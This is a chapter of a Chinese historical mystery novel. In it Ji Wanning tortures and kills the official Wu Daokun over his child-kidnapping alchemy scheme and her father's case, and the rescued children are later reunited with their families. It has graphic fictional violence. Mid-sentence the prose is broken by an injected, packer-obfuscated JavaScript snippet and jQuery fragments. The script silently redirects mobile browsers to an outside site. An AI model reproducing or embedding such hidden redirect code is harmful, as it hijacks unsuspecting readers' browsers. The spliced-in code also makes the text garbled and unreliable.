吴道坤屈辱之下怒气填胸，咬牙道：“你是何人？！”


    “你猜？”


    清悠而森冷的女声钻入他的耳朵眼儿。


    吴道坤思绪飞快地打转，似是想到了什么，胆怯心虚道：“难道……难道你是来杀人灭口的？”


    “吴侍郎，我不是来灭口的，我是来撬开你的嘴的。”


    吴道坤闻言心里不爽，而今哪里还有人唤他十一年前的官职？竟然还大言不惭地说撬开他的嘴，他可是刑部尚书！


    他小心翼翼地贴着刀刃扭过头，借着掉在地上的火褶子望去，只见一张清丽的脸上沾染满了鲜红的血迹，幽艳得如同从地狱里爬出来的女鬼。


    “怎么是你？！”他怵然一颤，大惊失色道，“你、你不是哑巴吗？！”


    季晚凝弯起嘴角，冲他微微一笑，灼灼火光在乌黑的双眸中跳跃舞动，落在吴道坤眼里却透着彻骨的冷意。


    “吴侍郎有所不知，我的哑症起于刑部大牢，解铃换需系铃人，因此还是吴侍郎你治好了我。”


    在季晚凝深刻的记忆中，他始终是那个刑部大牢中的刑部侍郎。


    “你到底想干什么！”吴道坤挣扎了一下，“在我的火药下不可能还有人生还，贺兰珩现在一定已经死了，你没了靠山还敢如此嚣张！”


    季晚凝握刀的手攥紧，将刀刃横在他突突跳动的颈脉上，定下心神道：“我问，你答。”


    吴道坤垂眼就见刀尖近在咫尺，一股寒栗从后心窜上来，不敢再乱动。


    “炼丹坊里的少年孩童是不是你派人掳来的？”季晚凝问道。


    “不、不是我，是康诫干的。”他嘴唇抖了抖，喉头滑动，谨小慎微地咽了口吐沫。


    季晚凝蹙眉：“死到临头，你还敢狡辩？”


    “真的不是我！康诫是花鸟使，负责从全国各地采择秀女娈童献给圣人，后来圣人胃口越来越大，很多良家不愿意把孩子送进宫，康诫寻不到人，便直接抢。


    “我跟他只不过是各取所需，进宫之前他先把人送到炼丹坊，交给张思释挑选出适合炼药的好种子留下来，一些容貌不佳难以管教的用来试药，余下的再送进宫里。”


    听罢季晚凝感到一阵恶寒，这些权贵把人当作物件一样随意摆弄虐待，残忍至极。吴道坤、张思释、康诫以及天子，这四人形成了一个闭环的作恶链，没一个好东西。


    吴道坤却越说越义正辞严：“对，我们都是为圣人炼药而已，地下那些人做出的贡献很大，死也可以瞑目了，你和贺兰珩胆敢违抗皇命，谋害朝廷命官！”


    “闭嘴，你们简直禽兽不如！”季晚凝将障刀一推，压进他皮肉里。


    “你放我一马，那些少年孩童我也不要了，剩下的驻颜丹全都给你，如何？”吴道坤先把语气放软，又威胁道，“不然叫圣人知道了，你也别想活。”


    季晚凝对他的恐吓不做理睬，继而问道：“那驻颜丹又是怎么回事？”


    一说起这个，吴道坤神采焕发：“驻颜丹是我让张思释炼的，这可是我们多年来研究的心血，卖给贵人一颗就三千贯呢，你看我已年逾五十，相貌像不像三十来岁？”


    “我看你像畜生。”季晚凝冷冷道。


    她突然一把拔掉了他屁股上的弩箭，霎时鲜血喷注而出，痛得吴道坤龇牙咧嘴。


    季晚凝把他翻过身来，将障刀抵在他胸口：“你说一句假话我就割你一刀，直到死为止，只要你从实招来还有活命的机会。”


    吴道坤脸色惨白如纸，连连伸冤：“我刚刚说的没有半句假话！”


    “现在该清算旧账了。”


    “什么旧账？”吴道坤一怔。


    “十一年前，你可是与罗逊、宋熙勾结，对我阿耶严刑逼供，以致他屈打成招？”季晚凝审问道。


    “我跟宋熙素来不睦，何来的联手？我们不过都是为圣人办事而已……”


    话音未落，季晚凝毫不犹豫地将刀尖刺进吴道坤的胸口，一寸寸划下来。


    吴道坤嚎呼一声，遍体生寒，冷汗顺着鬓角滑进衣领里。


    “你、你这是这是屈打成招！事已至此，我没必要骗你，当年我虽用了些刑讯手段，但宋熙搜来的证据确凿，陈澍他就算舌灿莲花也无从辩驳，我没费太多力他就招了。


    “你只是被蒙蔽了而已，接受不了自己的父亲是个大奸大恶的伪君子！”


    季晚凝眼角倏尔爬上了几缕血丝，道：“你胡说！我阿耶是秉公任直、赤胆忠心的御史大夫，不可能做这种事。”


    吴道坤语气笃定：“千真万确，他亲口承认的罪行，绝非我污蔑！”


    季晚凝不语，眼神冰冷，手持障刀在他的伤口上一拧，生生剜下一块肉来。


    吴道坤强忍着割肉之痛，豆大的汗水从额角滚下来，讨饶道：“我给你钱，你要多少我都给你，保你以后荣华富贵，来生都用不完……”


    “若你没说谎，”季晚凝质问，“又为何把我全家押到刑部大牢用刑审问？”


    “因为密信，据陈澍府中的亲信馆客交待，陈澍写了一封密信要给人通风报信，我怀疑他还有同党没落网，可他无论如何都不肯开口。”吴道坤道。


    季晚凝蹙眉：“这么说，你也不知密信是给谁的？”


    “不知……但他一定就是谶书主谋，当年没除掉此人，果然又开始兴风作浪……”吴道坤咬牙道。


    季晚凝打断他：“那你又为何对阿娘赶尽杀绝，我和阿兄阿姐也不过是半大孩童，能知道什么，你下手如此残忍！”


    吴道坤冷嗤：“呵，我若想杀你们就不会让你们活着出刑部大牢。”


    季晚凝眸光一颤，喃喃自语：“难道是宋熙？”


    吴道坤艰难地喘着气：“冤有头债有主，你要找的人应当是他，他才是罪魁祸首……”


    季晚凝抬眼，平静的语气里透着杀机：“别急，下一个就是他。”


    吴道坤见她软硬不吃，狠狠道：“你果真是奸臣之女，如此是非不分，心狠手辣，我虽与宋熙不对付，但陈澍欺君纵敌，罪大恶极，死有余辜！”


    “你骗人！”


    季晚凝双手举起刀，对准吴道坤怒目圆睁的左眼插了进去。


    “啊！！！”


    吴道坤光滑饱满的脸瞬间扭曲起来，凄厉的惨叫声充斥了整个地道。


    “当年你把钉子钉进阿耶左眼里，现在也叫你尝尝这滋味。”


    季晚凝居高临下地看着他，神色带着一股悲凉，新的血溅在脸上，顺着光洁的额角流下来。


    她瘫坐在原地，所有力气都随着最后那一刀倾泻殆尽，耳边只有自己浊乱的喘息声和吴道坤断断续续的呻吟声，在空洞的地道里回响。


    她的心绪久久不能平静，没有预想中复仇后的快意，而是跌进了一片更深的迷惘。


    怎么可能，父亲怎么可能招供？她隐忍十一年，步步为营，只为找到真相为家人洗清污名，可吴道坤的话却让她所有的坚持瞬间崩塌，这一切与她所想全然背道而驰。


    地上的火褶子在风中摇曳不停，石壁上映出一道拉长的玄色影子，以长剑支地，蹒跚地一步步移近。


    贺兰珩停下脚步，目光落在吴道坤左眼里的障刀上，这一刻才明白她当初用同样的手法杀死袁大，其用意是以眼还眼。


    他走上前，擦过季晚凝失魂落魄的背影，俯身拎起奄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190950|196639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奄一息的吴道坤，步伐略显滞重地走向火场，扬手一掷，将他的残躯扔进了熊熊大火之中。


    转过身，刚走了两步，喉间猝然喷出一大口鲜血，支撑身体的长剑随他一起倒在了地上。


    季晚凝从混沌中陡然回神，站起身朝他飞快跑了过去，火光照在他血肉模糊的身躯上，动心骇目。


    “贺兰珩，你快醒醒，快站起来啊！”


    季晚凝伏在他身上，不停地摇晃，伸手探了探他的鼻息，已气若游丝，她回头冲着洞口大喊，“来人啊——”


    ……


    几日后的大理寺里围满了人。


    “都先别急，一个一个来，按长幼排队。”卫庚坐在堂中维护秩序，“老人家，你是第一个，你家孩子叫什么名字？”


    “叫阿桃。”一个老妪答道。


    不多时，阿桃就从厢房里被领到了正殿，见到老妪后热泪盈眶，上前抱住了她瘦弱的身子：“阿婆！”


    “让我看看你，怎么这么瘦了？”老妪摸着她的脸，滚下两行热泪。


    阿桃为她抹去眼泪，道：“我没事，只不过辟谷了几日，死不了人的。”


    “他们欺负你了没？”


    “他们要是敢欺负我，我就打回去！”


    祖孙二人在这边因团圆而有着说不完的话，卫庚继续为前来领孩子回家的长辈们核对名册，一一把人从暂时收留被囚孩童少年的厢房里带到前衙来。


    那几名供血人也已请医师前来包扎上药，保下了他们的性命。


    百姓依次领到了自家孩子，大理寺用从炼丹坊里搜出来的钱财分发给他们权作抚慰。


    与家人团聚的孩子们面带倦意，眼中闪着劫后余生的光芒，低语声、啜泣声、庆幸的呼气声交织在一起。


    百姓带来了鸡蛋粮食，装在竹篮里送给卫庚。


    “感谢卫少卿！大理寺真是做了件大好事！”


    自杨司浦死后，卫庚就升任了大理少卿。


    “贺兰大理真是个称职的良官！京兆尹和刑部尚书，还有从前那个罗逊都不是好东西！死有余辜！”


    “对了，贺兰大理怎么没来？”


    “听说他因为这次拘捕受了重伤，也不知人怎么样了，老天保佑平安无事！”


    这时阿桃想起与自己同房的那个少女，心生疑窦，走上前问卫庚道：“卫少卿，我在地牢里时有一个哑女与我同屋，我怎么没见着她？”


    一旁的鱼墨道：“她是咱们贺兰大理的婢女，这次行动就是她以己为饵，深入虎穴，协助大理寺完成了营救和追捕。”


    阿桃心想，怪不得她举止奇怪却又气定神闲，她走了之后马上就有不良人来给她开门了，原来是她救了所有人。


    “那她叫什么名字？”阿桃问道。


    贺兰珩不让鱼墨透露，鱼墨便想着敷衍过去。


    卫庚对上少女真诚而殷切的目光，脱口而出：“季晚凝？”说罢又拍了两下自己的嘴巴。


    阿桃拨开人群，站在中央朗声道：“诸位，这回不仅是贺兰大理救了我们，还有他的婢女季晚凝。我同她被关在一间屋子里，若不是季娘子智勇双全，与贺兰大理里应外合一举歼灭了狗贼，我们现在还在暗无天日的地牢里，供血人的血也早已流尽了！”


    她的话在人群中掀起了波澜，众人哗然，议论纷纷。


    “不想这一个婢女竟有这般胆识！”一个老翁抚须道。


    一旁的大娘也道：“了不得，这个季小娘子为民除害，做了件大好事啊！”


    不出几日，坊间邻里、酒肆茶馆里将炼丹案添了一抹传奇色彩，迅速传了开去，季晚凝和贺兰珩成了长安中津津乐道的佳话。